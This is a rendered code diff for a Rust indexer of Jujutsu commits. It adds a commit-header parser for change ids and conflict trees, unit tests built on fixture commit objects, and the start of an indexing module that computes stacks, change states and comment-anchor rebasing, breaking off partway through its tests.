| 180 | + | /// header rather than looking for `.jjconflict-*` entries in the tree, because | |
| 181 | + | /// the header is authoritative and requires no object loads. | |
| 182 | + | pub fn extract_conflict_trees(raw_commit: &[u8]) -> Option<ConflictTrees> { | |
| 183 | + | let value = Headers::new(raw_commit).find(|h| h.key == b"jj:trees")?.value; | |
| 184 | + | let ids: Vec<String> = std::str::from_utf8(value) | |
| 185 | + | .ok()? | |
| 186 | + | .split_ascii_whitespace() | |
| 187 | + | .map(str::to_owned) | |
| 188 | + | .collect(); | |
| 189 | + | ||
| 190 | + | // Must be a non-empty odd count: sides = bases + 1. Anything else is not a | |
| 191 | + | // shape we understand, and guessing at it would produce a wrong conflict | |
| 192 | + | // view rather than an honest failure. | |
| 193 | + | if ids.is_empty() || ids.len() % 2 == 0 { | |
| 194 | + | return None; | |
| 195 | + | } | |
| 196 | + | ||
| 197 | + | let mut sides = Vec::with_capacity(ids.len() / 2 + 1); | |
| 198 | + | let mut bases = Vec::with_capacity(ids.len() / 2); | |
| 199 | + | for (i, id) in ids.into_iter().enumerate() { | |
| 200 | + | if i % 2 == 0 { | |
| 201 | + | sides.push(id); | |
| 202 | + | } else { | |
| 203 | + | bases.push(id); | |
| 204 | + | } | |
| 205 | + | } | |
| 206 | + | Some(ConflictTrees { sides, bases }) | |
| 207 | + | } | |
| 208 | + | ||
| 209 | + | /// Tree entry names jj uses for conflict storage. These are implementation | |
| 210 | + | /// detail of the storage format and must never appear in a user-facing file | |
| 211 | + | /// listing. | |
| 212 | + | pub fn is_conflict_artifact(name: &str) -> bool { | |
| 213 | + | name.starts_with(".jjconflict-") || name == "JJ-CONFLICT-README" | |
| 214 | + | } | |
| 215 | + | ||
| 216 | + | #[cfg(test)] | |
| 217 | + | mod tests { | |
| 218 | + | use super::*; | |
| 219 | + | ||
| 220 | + | /// A jj commit exactly as observed from `git cat-file commit`. | |
| 221 | + | const JJ_SIMPLE: &[u8] = b"\ | |
| 222 | + | tree 2e81171448eb9f2ee3821e3d447aa6b2fe3ddba1 | |
| 223 | + | author Fixture Author <fixture@dogfood.sh> 1785482369 +0000 | |
| 224 | + | committer Fixture Author <fixture@dogfood.sh> 1785482369 +0000 | |
| 225 | + | change-id qstvwxmpkvovsosxxmrnxpqmuuyllsqu | |
| 226 | + | ||
| 227 | + | first change | |
| 228 | + | "; | |
| 229 | + | ||
| 230 | + | const PLAIN_GIT: &[u8] = b"\ | |
| 231 | + | tree 4997ca7a42e3ad9b729fbad3acd44fbabd07b6bd | |
| 232 | + | author Plain Git <pg@dogfood.sh> 1785482410 +0000 | |
| 233 | + | committer Plain Git <pg@dogfood.sh> 1785482410 +0000 | |
| 234 | + | ||
| 235 | + | plain git commit | |
| 236 | + | "; | |
| 237 | + | ||
| 238 | + | const JJ_MERGE: &[u8] = b"\ | |
| 239 | + | tree 6349276c93aa7281b3ea997c1ed9eee4fca779ca | |
| 240 | + | parent 0e6a26973ecf5056359d2b82f39ad9901675bd7f | |
| 241 | + | parent f4017227300e3da7b8b05c461bc1bc24047707c8 | |
| 242 | + | author Fixture Author <fixture@dogfood.sh> 1785482416 +0000 | |
| 243 | + | committer Fixture Author <fixture@dogfood.sh> 1785482416 +0000 | |
| 244 | + | change-id vokuuvrqvyoksvpnxznztskrpwnstmqt | |
| 245 | + | ||
| 246 | + | merge of left and right | |
| 247 | + | "; | |
| 248 | + | ||
| 249 | + | /// Signed commit: `change-id` precedes a multi-line `gpgsig`. | |
| 250 | + | const JJ_SIGNED: &[u8] = b"\ | |
| 251 | + | tree ec67420ed747b72ce94854190b4c59deff01b9db | |
| 252 | + | author Fixture Author <fixture@dogfood.sh> 1785482470 +0000 | |
| 253 | + | committer Fixture Author <fixture@dogfood.sh> 1785482470 +0000 | |
| 254 | + | change-id rwsosmnkorymmtvvzwkuuzzqqmuonwnn | |
| 255 | + | gpgsig -----BEGIN SSH SIGNATURE----- | |
| 256 | + | U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAgpDlDGOvAOfzKu8EtSuCO+q7OMl | |
| 257 | + | P4iz0WatcsQcBg98kAAAADZ2l0AAAAAAAAAAZzaGE1MTIAAABTAAAAC3NzaC1lZDI1NTE5 | |
| 258 | + | AAAAQLPQ/lWPdf2zmi261EFYVcLDTOT1CpY8cEWRpjQXTPAkOOsVexrIzZypFgM4yTtgyU | |
| 259 | + | pwfjmHzZ3D9uEeK1H3Ygg= | |
| 260 | + | -----END SSH SIGNATURE----- | |
| 261 | + | ||
| 262 | + | signed via jj | |
| 263 | + | "; | |
| 264 | + | ||
| 265 | + | /// Conflicted commit: `change-id` comes AFTER a multi-line `jj:` header. | |
| 266 | + | const JJ_CONFLICTED: &[u8] = b"\ | |
| 267 | + | tree 125bc2eed773e5eacbb11544e9966dab850ed4f9 | |
| 268 | + | parent 79976290ff8d8ad397f41d423a469b26d225f157 | |
| 269 | + | parent 47129393c3d17b7031ff88faa27ffe1b8180c225 | |
| 270 | + | author Fixture Author <fixture@dogfood.sh> 1785497562 +0000 | |
| 271 | + | committer Fixture Author <fixture@dogfood.sh> 1785497562 +0000 | |
| 272 | + | jj:conflict-labels qtmrpxym 79976290 \"side A\" | |
| 273 | + | qmksvpxn 691a639f \"conflict base\" | |
| 274 | + | syuzyywq 47129393 \"side B\" | |
| 275 | + | jj:trees ada380c77b2f1923458d0b93cbfee42f297a58e9 892cad2b4d1f22ae36e2107a6a187a5dc227f965 14a356d6227b63a22f94c18817912d5e37b77c21 | |
| 276 | + | change-id psxoyvqkymplnoqklzrotrqopkxqkynz | |
| 277 | + | ||
| 278 | + | conflicted merge | |
| 279 | + | "; | |
| 280 | + | ||
| 281 | + | #[test] | |
| 282 | + | fn extracts_from_simple_jj_commit() { | |
| 283 | + | let id = extract_change_id(JJ_SIMPLE).expect("jj commit must yield an id"); | |
| 284 | + | assert_eq!(id.as_str(), "qstvwxmpkvovsosxxmrnxpqmuuyllsqu"); | |
| 285 | + | } | |
| 286 | + | ||
| 287 | + | #[test] | |
| 288 | + | fn plain_git_commit_has_no_change_id() { | |
| 289 | + | assert_eq!(extract_change_id(PLAIN_GIT), None); | |
| 290 | + | } | |
| 291 | + | ||
| 292 | + | #[test] | |
| 293 | + | fn extracts_from_merge_commit() { | |
| 294 | + | let id = extract_change_id(JJ_MERGE).unwrap(); | |
| 295 | + | assert_eq!(id.as_str(), "vokuuvrqvyoksvpnxznztskrpwnstmqt"); | |
| 296 | + | } | |
| 297 | + | ||
| 298 | + | #[test] | |
| 299 | + | fn extracts_when_followed_by_multiline_signature() { | |
| 300 | + | let id = extract_change_id(JJ_SIGNED).unwrap(); | |
| 301 | + | assert_eq!(id.as_str(), "rwsosmnkorymmtvvzwkuuzzqqmuonwnn"); | |
| 302 | + | } | |
| 303 | + | ||
| 304 | + | #[test] | |
| 305 | + | fn extracts_when_preceded_by_multiline_jj_header() { | |
| 306 | + | // The case a naive "first N lines" parser gets wrong. | |
| 307 | + | let id = extract_change_id(JJ_CONFLICTED).unwrap(); | |
| 308 | + | assert_eq!(id.as_str(), "psxoyvqkymplnoqklzrotrqopkxqkynz"); | |
| 309 | + | } | |
| 310 | + | ||
| 311 | + | #[test] | |
| 312 | + | fn continuation_lines_are_never_read_as_headers() { | |
| 313 | + | // The specific attack/corruption shape this parser exists to prevent: a | |
| 314 | + | // signature body whose base64 happens to start a line with | |
| 315 | + | // "change-id ". It must be ignored as a continuation, and the real | |
| 316 | + | // header below it must win. | |
| 317 | + | let raw = b"\ | |
| 318 | + | tree 0000000000000000000000000000000000000000 | |
| 319 | + | author A <a@b.c> 1 +0000 | |
| 320 | + | committer A <a@b.c> 1 +0000 | |
| 321 | + | gpgsig -----BEGIN SSH SIGNATURE----- | |
| 322 | + | change-id kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk | |
| 323 | + | -----END SSH SIGNATURE----- | |
| 324 | + | change-id qstvwxmpkvovsosxxmrnxpqmuuyllsqu | |
| 325 | + | ||
| 326 | + | msg | |
| 327 | + | "; | |
| 328 | + | let id = extract_change_id(raw).unwrap(); | |
| 329 | + | assert_eq!( | |
| 330 | + | id.as_str(), | |
| 331 | + | "qstvwxmpkvovsosxxmrnxpqmuuyllsqu", | |
| 332 | + | "a continuation line must not be parsed as a change-id header" | |
| 333 | + | ); | |
| 334 | + | } | |
| 335 | + | ||
| 336 | + | #[test] | |
| 337 | + | fn body_text_after_headers_is_not_scanned() { | |
| 338 | + | // A commit message that mentions a change-id header must not be | |
| 339 | + | // mistaken for one. The header block ends at the first blank line. | |
| 340 | + | let raw = b"\ | |
| 341 | + | tree 0000000000000000000000000000000000000000 | |
| 342 | + | author A <a@b.c> 1 +0000 | |
| 343 | + | committer A <a@b.c> 1 +0000 | |
| 344 | + | ||
| 345 | + | see also: | |
| 346 | + | change-id kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk | |
| 347 | + | "; | |
| 348 | + | assert_eq!(extract_change_id(raw), None); | |
| 349 | + | } | |
| 350 | + | ||
| 351 | + | #[test] | |
| 352 | + | fn rejects_malformed_values() { | |
| 353 | + | let cases: &[(&str, &[u8])] = &[ | |
| 354 | + | ("too short", b"tree x\nchange-id qstvwxmp\n\nm\n"), | |
| 355 | + | ( | |
| 356 | + | "too long", | |
| 357 | + | b"tree x\nchange-id qstvwxmpkvovsosxxmrnxpqmuuyllsquz\n\nm\n", | |
| 358 | + | ), | |
| 359 | + | ( | |
| 360 | + | "hex, not reverse-hex", | |
| 361 | + | b"tree x\nchange-id 0123456789abcdef0123456789abcdef\n\nm\n", | |
| 362 | + | ), | |
| 363 | + | ("empty", b"tree x\nchange-id \n\nm\n"), | |
| 364 | + | ( | |
| 365 | + | "uppercase", | |
| 366 | + | b"tree x\nchange-id QSTVWXMPKVOVSOSXXMRNXPQMUUYLLSQU\n\nm\n", | |
| 367 | + | ), | |
| 368 | + | ]; | |
| 369 | + | for (name, raw) in cases { | |
| 370 | + | assert_eq!(extract_change_id(raw), None, "should reject: {name}"); | |
| 371 | + | } | |
| 372 | + | } | |
| 373 | + | ||
| 374 | + | #[test] | |
| 375 | + | fn header_key_match_is_exact() { | |
| 376 | + | // `jj:change-id`, `Change-Id` (Gerrit's, in the message trailer) and | |
| 377 | + | // similar must not be picked up. | |
| 378 | + | let raw = b"\ | |
| 379 | + | tree 0000000000000000000000000000000000000000 | |
| 380 | + | author A <a@b.c> 1 +0000 | |
| 381 | + | Change-Id qstvwxmpkvovsosxxmrnxpqmuuyllsqu | |
| 382 | + | jj:change-id qstvwxmpkvovsosxxmrnxpqmuuyllsqu | |
| 383 | + | ||
| 384 | + | m | |
| 385 | + | "; | |
| 386 | + | assert_eq!(extract_change_id(raw), None); | |
| 387 | + | } | |
| 388 | + | ||
| 389 | + | #[test] | |
| 390 | + | fn tolerates_unknown_extra_headers() { | |
| 391 | + | let raw = b"\ | |
| 392 | + | tree 0000000000000000000000000000000000000000 | |
| 393 | + | author A <a@b.c> 1 +0000 | |
| 394 | + | committer A <a@b.c> 1 +0000 | |
| 395 | + | mergetag something | |
| 396 | + | encoding ISO-8859-1 | |
| 397 | + | some-future-jj-header whatever | |
| 398 | + | change-id qstvwxmpkvovsosxxmrnxpqmuuyllsqu | |
| 399 | + | ||
| 400 | + | m | |
| 401 | + | "; | |
| 402 | + | assert_eq!( | |
| 403 | + | extract_change_id(raw).unwrap().as_str(), | |
| 404 | + | "qstvwxmpkvovsosxxmrnxpqmuuyllsqu" | |
| 405 | + | ); | |
| 406 | + | } | |
| 407 | + | ||
| 408 | + | #[test] | |
| 409 | + | fn handles_truncated_object_without_panicking() { | |
| 410 | + | // Robustness: the indexer must never panic on a malformed object. | |
| 411 | + | for n in 0..JJ_SIMPLE.len() { | |
| 412 | + | let _ = extract_change_id(&JJ_SIMPLE[..n]); | |
| 413 | + | } | |
| 414 | + | } | |
| 415 | + | ||
| 416 | + | #[test] | |
| 417 | + | fn root_change_id_is_all_z() { | |
| 418 | + | // jj renders the root change as 32 'z' (= all-zero bytes). It is a | |
| 419 | + | // well-formed id and must parse, so the indexer can recognise and skip | |
| 420 | + | // it rather than treating it as a user change. | |
| 421 | + | let id = ChangeId::parse("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz").unwrap(); | |
| 422 | + | assert_eq!(id.short(), "zzzzzzzzzzzz"); | |
| 423 | + | } | |
| 424 | + | ||
| 425 | + | #[test] | |
| 426 | + | fn parses_conflict_trees() { | |
| 427 | + | let c = extract_conflict_trees(JJ_CONFLICTED).expect("conflicted commit"); | |
| 428 | + | assert_eq!( | |
| 429 | + | c.sides, | |
| 430 | + | vec![ | |
| 431 | + | "ada380c77b2f1923458d0b93cbfee42f297a58e9".to_string(), | |
| 432 | + | "14a356d6227b63a22f94c18817912d5e37b77c21".to_string(), | |
| 433 | + | ] | |
| 434 | + | ); | |
| 435 | + | assert_eq!( | |
| 436 | + | c.bases, | |
| 437 | + | vec!["892cad2b4d1f22ae36e2107a6a187a5dc227f965".to_string()] | |
| 438 | + | ); | |
| 439 | + | // The invariant jj's conflict representation guarantees. | |
| 440 | + | assert_eq!(c.sides.len(), c.bases.len() + 1); | |
| 441 | + | } | |
| 442 | + | ||
| 443 | + | #[test] | |
| 444 | + | fn unconflicted_commits_have_no_conflict_trees() { | |
| 445 | + | assert_eq!(extract_conflict_trees(JJ_SIMPLE), None); | |
| 446 | + | assert_eq!(extract_conflict_trees(PLAIN_GIT), None); | |
| 447 | + | assert_eq!(extract_conflict_trees(JJ_SIGNED), None); | |
| 448 | + | } | |
| 449 | + | ||
| 450 | + | #[test] | |
| 451 | + | fn rejects_even_length_tree_lists() { | |
| 452 | + | // sides == bases + 1 always, so an even count is a shape we do not | |
| 453 | + | // understand and must not guess at. | |
| 454 | + | let raw = b"tree x\njj:trees aaaa bbbb\nchange-id qstvwxmpkvovsosxxmrnxpqmuuyllsqu\n\nm\n"; | |
| 455 | + | assert_eq!(extract_conflict_trees(raw), None); | |
| 456 | + | } | |
| 457 | + | ||
| 458 | + | #[test] | |
| 459 | + | fn filters_conflict_artifacts_from_listings() { | |
| 460 | + | assert!(is_conflict_artifact(".jjconflict-side-0")); | |
| 461 | + | assert!(is_conflict_artifact(".jjconflict-base-0")); | |
| 462 | + | assert!(is_conflict_artifact("JJ-CONFLICT-README")); | |
| 463 | + | assert!(!is_conflict_artifact("src")); | |
| 464 | + | assert!(!is_conflict_artifact("c.txt")); | |
| 465 | + | // Not a jj artifact: a user file that merely starts similarly. | |
| 466 | + | assert!(!is_conflict_artifact(".jjconflict")); | |
| 467 | + | } | |
| 468 | + | } | |
Acrates/df-index/src/indexer.rs616 lines+616−0
| @@ −0,0 +1,616 @@ | |||
| 1 | + | //! The indexing pipeline (spec §4). | |
| 2 | + | //! | |
| 3 | + | //! ```text | |
| 4 | + | //! worker: IndexPush | |
| 5 | + | //! 1. walk new commits reachable from updated refs | |
| 6 | + | //! 2. extract change ids | |
| 7 | + | //! 3. upsert changes and revisions | |
| 8 | + | //! 4. recompute stack edges for affected changes | |
| 9 | + | //! 5. detect conflict state | |
| 10 | + | //! 6. rebase comment anchors onto the new revision | |
| 11 | + | //! 7. recompute change states vs target bookmarks | |
| 12 | + | //! 8. emit timeline events | |
| 13 | + | //! 9. NOTIFY so open pages can refresh | |
| 14 | + | //! ``` | |
| 15 | + | //! | |
| 16 | + | //! The indexer must be **idempotent and re-runnable** — running it twice over | |
| 17 | + | //! the same repository must produce the same rows, because every change to | |
| 18 | + | //! indexing logic means reindexing live repositories. | |
| 19 | + | //! | |
| 20 | + | //! This module holds the pure decision logic. The database and storage calls | |
| 21 | + | //! live in `df-worker`, so the interesting parts are testable without either. | |
| 22 | + | ||
| 23 | + | use std::collections::{HashMap, HashSet}; | |
| 24 | + | ||
| 25 | + | use crate::ChangeId; | |
| 26 | + | ||
| 27 | + | /// A commit as the indexer sees it, independent of any Git library. | |
| 28 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 29 | + | pub struct IndexedCommit { | |
| 30 | + | pub rev: String, | |
| 31 | + | pub change_id: Option<ChangeId>, | |
| 32 | + | pub parents: Vec<String>, | |
| 33 | + | pub author_name: String, | |
| 34 | + | pub author_email: String, | |
| 35 | + | pub authored_at: chrono::DateTime<chrono::Utc>, | |
| 36 | + | pub message: String, | |
| 37 | + | pub conflicted: bool, | |
| 38 | + | pub conflict_sides: Vec<String>, | |
| 39 | + | pub conflict_bases: Vec<String>, | |
| 40 | + | } | |
| 41 | + | ||
| 42 | + | impl IndexedCommit { | |
| 43 | + | pub fn summary(&self) -> &str { | |
| 44 | + | self.message.lines().next().unwrap_or("").trim() | |
| 45 | + | } | |
| 46 | + | } | |
| 47 | + | ||
| 48 | + | /// A stack edge: `parent` sits immediately below `child`. | |
| 49 | + | #[derive(Debug, Clone, PartialEq, Eq, Hash)] | |
| 50 | + | pub struct StackEdge { | |
| 51 | + | pub parent: String, | |
| 52 | + | pub child: String, | |
| 53 | + | } | |
| 54 | + | ||
| 55 | + | /// Compute stack edges over a set of commits. | |
| 56 | + | /// | |
| 57 | + | /// Spec §4: "A stack is a chain of changes where each is a parent of the next | |
| 58 | + | /// and none has yet merged into the target bookmark." | |
| 59 | + | /// | |
| 60 | + | /// Edges are between *changes*, not revisions — that is what makes a stack | |
| 61 | + | /// survive a rebase. `merged` names changes already on the target bookmark; | |
| 62 | + | /// they terminate a stack rather than extending it. | |
| 63 | + | /// | |
| 64 | + | /// Walks parent links transitively through commits whose change is already | |
| 65 | + | /// merged, so a stack is not severed by an intervening landed change. | |
| 66 | + | pub fn stack_edges( | |
| 67 | + | commits: &[IndexedCommit], | |
| 68 | + | merged: &HashSet<String>, | |
| 69 | + | ) -> HashSet<StackEdge> { | |
| 70 | + | // rev -> change id, for the commits in scope. | |
| 71 | + | let by_rev: HashMap<&str, &IndexedCommit> = | |
| 72 | + | commits.iter().map(|c| (c.rev.as_str(), c)).collect(); | |
| 73 | + | ||
| 74 | + | let change_of = |rev: &str| -> Option<String> { | |
| 75 | + | by_rev | |
| 76 | + | .get(rev) | |
| 77 | + | .and_then(|c| c.change_id.as_ref()) | |
| 78 | + | .map(|c| c.as_str().to_owned()) | |
| 79 | + | }; | |
| 80 | + | ||
| 81 | + | let mut edges = HashSet::new(); | |
| 82 | + | ||
| 83 | + | for c in commits { | |
| 84 | + | let Some(child) = c.change_id.as_ref().map(|c| c.as_str().to_owned()) else { | |
| 85 | + | continue; | |
| 86 | + | }; | |
| 87 | + | if merged.contains(&child) { | |
| 88 | + | continue; | |
| 89 | + | } | |
| 90 | + | ||
| 91 | + | // Walk up until we find an unmerged ancestor change, or run out. | |
| 92 | + | let mut frontier: Vec<String> = c.parents.clone(); | |
| 93 | + | let mut seen: HashSet<String> = HashSet::new(); | |
| 94 | + | ||
| 95 | + | while let Some(rev) = frontier.pop() { | |
| 96 | + | if !seen.insert(rev.clone()) { | |
| 97 | + | continue; | |
| 98 | + | } | |
| 99 | + | let Some(parent_change) = change_of(&rev) else { | |
| 100 | + | // Outside the indexed set: stop this branch. | |
| 101 | + | continue; | |
| 102 | + | }; | |
| 103 | + | ||
| 104 | + | if parent_change == child { | |
| 105 | + | // Same change appearing twice in the walk; not an edge. | |
| 106 | + | continue; | |
| 107 | + | } | |
| 108 | + | ||
| 109 | + | if merged.contains(&parent_change) { | |
| 110 | + | // Landed: look further up rather than ending the stack here. | |
| 111 | + | if let Some(p) = by_rev.get(rev.as_str()) { | |
| 112 | + | frontier.extend(p.parents.iter().cloned()); | |
| 113 | + | } | |
| 114 | + | continue; | |
| 115 | + | } | |
| 116 | + | ||
| 117 | + | edges.insert(StackEdge { | |
| 118 | + | parent: parent_change, | |
| 119 | + | child: child.clone(), | |
| 120 | + | }); | |
| 121 | + | } | |
| 122 | + | } | |
| 123 | + | ||
| 124 | + | edges | |
| 125 | + | } | |
| 126 | + | ||
| 127 | + | /// Decide the new state of a change. | |
| 128 | + | /// | |
| 129 | + | /// Spec §4 step 7, and the draft decision: `draft` is set by the author in the | |
| 130 | + | /// UI and must never be overwritten by indexing. | |
| 131 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 132 | + | pub enum ChangeState { | |
| 133 | + | Draft, | |
| 134 | + | Open, | |
| 135 | + | Merged, | |
| 136 | + | Abandoned, | |
| 137 | + | } | |
| 138 | + | ||
| 139 | + | pub fn next_state(current: ChangeState, on_target_bookmark: bool) -> ChangeState { | |
| 140 | + | match current { | |
| 141 | + | // The author's explicit choice wins over anything inferred. | |
| 142 | + | ChangeState::Draft => ChangeState::Draft, | |
| 143 | + | // Abandoned is also explicit; a re-push does not silently reopen it. | |
| 144 | + | ChangeState::Abandoned => ChangeState::Abandoned, | |
| 145 | + | _ if on_target_bookmark => ChangeState::Merged, | |
| 146 | + | // A change that was merged and is no longer reachable from the target | |
| 147 | + | // has been reverted or the bookmark was rewound; reopen it. | |
| 148 | + | ChangeState::Merged => ChangeState::Open, | |
| 149 | + | ChangeState::Open => ChangeState::Open, | |
| 150 | + | } | |
| 151 | + | } | |
| 152 | + | ||
| 153 | + | /// Where a comment anchor ended up after a new revision landed. | |
| 154 | + | /// | |
| 155 | + | /// Spec §5: "This is the mechanism that makes stable change identity actually | |
| 156 | + | /// pay off for reviewers, and it is the single most valuable piece of logic in | |
| 157 | + | /// the product." | |
| 158 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 159 | + | pub enum AnchorOutcome { | |
| 160 | + | /// Line is unchanged; keep `current`, update the anchor revision. | |
| 161 | + | Unchanged, | |
| 162 | + | /// Line moved; keep `current`, update the line number. | |
| 163 | + | Moved { new_line: u32 }, | |
| 164 | + | /// The line's content changed; mark `outdated`, retain the original text. | |
| 165 | + | Outdated, | |
| 166 | + | /// The file or hunk is gone; mark `orphaned` and surface in the timeline. | |
| 167 | + | Orphaned, | |
| 168 | + | } | |
| 169 | + | ||
| 170 | + | /// One line of the new version of a file, for anchor rebasing. | |
| 171 | + | #[derive(Debug, Clone)] | |
| 172 | + | pub struct NewLine { | |
| 173 | + | pub number: u32, | |
| 174 | + | pub content: String, | |
| 175 | + | /// The line number this came from in the old version, when it is a | |
| 176 | + | /// carried-over (context) line. | |
| 177 | + | pub from_old: Option<u32>, | |
| 178 | + | } | |
| 179 | + | ||
| 180 | + | /// Re-anchor a comment onto a new revision. | |
| 181 | + | /// | |
| 182 | + | /// `old_line` is where the comment sat; `anchor_context` is the text of that | |
| 183 | + | /// line when the comment was written — the thing we match on, because line | |
| 184 | + | /// numbers move but content is what the reviewer was talking about. | |
| 185 | + | pub fn rebase_anchor( | |
| 186 | + | old_line: u32, | |
| 187 | + | anchor_context: Option<&str>, | |
| 188 | + | new_lines: &[NewLine], | |
| 189 | + | file_still_exists: bool, | |
| 190 | + | ) -> AnchorOutcome { | |
| 191 | + | if !file_still_exists { | |
| 192 | + | return AnchorOutcome::Orphaned; | |
| 193 | + | } | |
| 194 | + | ||
| 195 | + | // 1. The line survived at a known position. | |
| 196 | + | if let Some(l) = new_lines.iter().find(|l| l.from_old == Some(old_line)) { | |
| 197 | + | // Its content may still have changed (whitespace, a rewrite). | |
| 198 | + | if let Some(ctx) = anchor_context { | |
| 199 | + | if l.content != ctx { | |
| 200 | + | return AnchorOutcome::Outdated; | |
| 201 | + | } | |
| 202 | + | } | |
| 203 | + | return if l.number == old_line { | |
| 204 | + | AnchorOutcome::Unchanged | |
| 205 | + | } else { | |
| 206 | + | AnchorOutcome::Moved { new_line: l.number } | |
| 207 | + | }; | |
| 208 | + | } | |
| 209 | + | ||
| 210 | + | // 2. The mapping is gone, but identical text still exists — the line was | |
| 211 | + | // moved rather than edited. Only trust this when the content is | |
| 212 | + | // distinctive: matching on a blank line or a lone `}` would anchor the | |
| 213 | + | // comment somewhere arbitrary, which is worse than admitting it is | |
| 214 | + | // outdated. | |
| 215 | + | if let Some(ctx) = anchor_context.filter(|c| is_distinctive(c)) { | |
| 216 | + | let matches: Vec<&NewLine> = new_lines.iter().filter(|l| l.content == ctx).collect(); | |
| 217 | + | if matches.len() == 1 { | |
| 218 | + | return AnchorOutcome::Moved { | |
| 219 | + | new_line: matches[0].number, | |
| 220 | + | }; | |
| 221 | + | } | |
| 222 | + | } | |
| 223 | + | ||
| 224 | + | // 3. The line is gone from the file. | |
| 225 | + | AnchorOutcome::Outdated | |
| 226 | + | } | |
| 227 | + | ||
| 228 | + | /// Whether a line's content is specific enough to re-anchor on. | |
| 229 | + | fn is_distinctive(s: &str) -> bool { | |
| 230 | + | let t = s.trim(); | |
| 231 | + | // Structural punctuation and blank lines repeat throughout a file. | |
| 232 | + | t.len() >= 4 && t.chars().any(|c| c.is_alphanumeric()) | |
| 233 | + | } | |
| 234 | + | ||
| 235 | + | /// Build the old→new line mapping for a file across a rewrite. | |
| 236 | + | /// | |
| 237 | + | /// [`rebase_anchor`] needs to know, for each line of the new file, which line of | |
| 238 | + | /// the old file it came from. A diff's hunks only carry that for the lines near | |
| 239 | + | /// a change, and a comment can sit anywhere — so the mapping is computed over | |
| 240 | + | /// the whole file rather than read out of a hunk. | |
| 241 | + | /// | |
| 242 | + | /// Uses `similar`'s line diff, the same algorithm `df-store` renders diffs with, | |
| 243 | + | /// so the mapping a comment is rebased through agrees with the diff a reviewer | |
| 244 | + | /// is looking at. | |
| 245 | + | pub fn line_map(old: &str, new: &str) -> Vec<NewLine> { | |
| 246 | + | use similar::{ChangeTag, TextDiff}; | |
| 247 | + | ||
| 248 | + | let diff = TextDiff::from_lines(old, new); | |
| 249 | + | let mut out = Vec::new(); | |
| 250 | + | ||
| 251 | + | for change in diff.iter_all_changes() { | |
| 252 | + | // Only lines that exist in the new file get an entry; a deleted line is | |
| 253 | + | // absent from the mapping, which is exactly what makes `rebase_anchor` | |
| 254 | + | // fall through to its content search. | |
| 255 | + | let Some(new_index) = change.new_index() else { | |
| 256 | + | continue; | |
| 257 | + | }; | |
| 258 | + | out.push(NewLine { | |
| 259 | + | number: new_index as u32 + 1, | |
| 260 | + | content: change.value().trim_end_matches('\n').to_owned(), | |
| 261 | + | from_old: match change.tag() { | |
| 262 | + | // An inserted line came from nowhere. | |
| 263 | + | ChangeTag::Insert => None, | |
| 264 | + | _ => change.old_index().map(|i| i as u32 + 1), | |
| 265 | + | }, | |
| 266 | + | }); | |
| 267 | + | } | |
| 268 | + | ||
| 269 | + | out | |
| 270 | + | } | |
| 271 | + | ||
| 272 | + | #[cfg(test)] | |
| 273 | + | mod tests { | |
| 274 | + | use super::*; | |
| 275 | + | ||
| 276 | + | fn commit(rev: &str, change: &str, parents: &[&str]) -> IndexedCommit { | |
| 277 | + | IndexedCommit { | |
| 278 | + | rev: rev.into(), | |
| 279 | + | change_id: ChangeId::parse(change), | |
| 280 | + | parents: parents.iter().map(|s| s.to_string()).collect(), | |
| 281 | + | author_name: "A".into(), | |
| 282 | + | author_email: "a@b.c".into(), | |
| 283 | + | authored_at: chrono::Utc::now(), | |
| 284 | + | message: "msg".into(), | |
| 285 | + | conflicted: false, | |
| 286 | + | conflict_sides: vec![], | |
| 287 | + | conflict_bases: vec![], | |
| 288 | + | } | |
| 289 | + | } | |
| 290 | + | ||
| 291 | + | /// 32 chars in the reverse-hex alphabet. | |
| 292 | + | fn cid(seed: char) -> String { | |
| 293 | + | std::iter::repeat(seed).take(32).collect() | |
| 294 | + | } | |
| 295 | + | ||
| 296 | + | // ─── stacks ────────────────────────────────────────────────────────────── | |
| 297 | + | ||
| 298 | + | #[test] | |
| 299 | + | fn a_linear_chain_produces_a_chain_of_edges() { | |
| 300 | + | let (a, b, c) = (cid('k'), cid('l'), cid('m')); | |
| 301 | + | let commits = vec![ | |
| 302 | + | commit("r1", &a, &[]), | |
| 303 | + | commit("r2", &b, &["r1"]), | |
| 304 | + | commit("r3", &c, &["r2"]), | |
| 305 | + | ]; | |
| 306 | + | let edges = stack_edges(&commits, &HashSet::new()); | |
| 307 | + | ||
| 308 | + | assert!(edges.contains(&StackEdge { parent: a.clone(), child: b.clone() })); | |
| 309 | + | assert!(edges.contains(&StackEdge { parent: b, child: c })); | |
| 310 | + | assert_eq!(edges.len(), 2); | |
| 311 | + | } | |
| 312 | + | ||
| 313 | + | #[test] | |
| 314 | + | fn merged_changes_do_not_appear_in_stacks() { | |
| 315 | + | let (a, b) = (cid('k'), cid('l')); | |
| 316 | + | let commits = vec![commit("r1", &a, &[]), commit("r2", &b, &["r1"])]; | |
| 317 | + | ||
| 318 | + | let mut merged = HashSet::new(); | |
| 319 | + | merged.insert(a); | |
| 320 | + | ||
| 321 | + | let edges = stack_edges(&commits, &merged); | |
| 322 | + | assert!( | |
| 323 | + | edges.is_empty(), | |
| 324 | + | "a landed parent must not anchor a stack: {edges:?}" | |
| 325 | + | ); | |
| 326 | + | } | |
| 327 | + | ||
| 328 | + | #[test] | |
| 329 | + | fn a_stack_is_not_severed_by_a_landed_change_in_the_middle() { | |
| 330 | + | // a (merged) <- b (merged) <- c: c should still connect upward to | |
| 331 | + | // nothing, but a <- b <- c with only b merged must yield a -> c. | |
| 332 | + | let (a, b, c) = (cid('k'), cid('l'), cid('m')); | |
| 333 | + | let commits = vec![ | |
| 334 | + | commit("r1", &a, &[]), | |
| 335 | + | commit("r2", &b, &["r1"]), | |
| 336 | + | commit("r3", &c, &["r2"]), | |
| 337 | + | ]; | |
| 338 | + | let mut merged = HashSet::new(); | |
| 339 | + | merged.insert(b.clone()); | |
| 340 | + | ||
| 341 | + | let edges = stack_edges(&commits, &merged); | |
| 342 | + | assert!( | |
| 343 | + | edges.contains(&StackEdge { parent: a, child: c }), | |
| 344 | + | "walk must pass through the landed change: {edges:?}" | |
| 345 | + | ); | |
| 346 | + | } | |
| 347 | + | ||
| 348 | + | #[test] | |
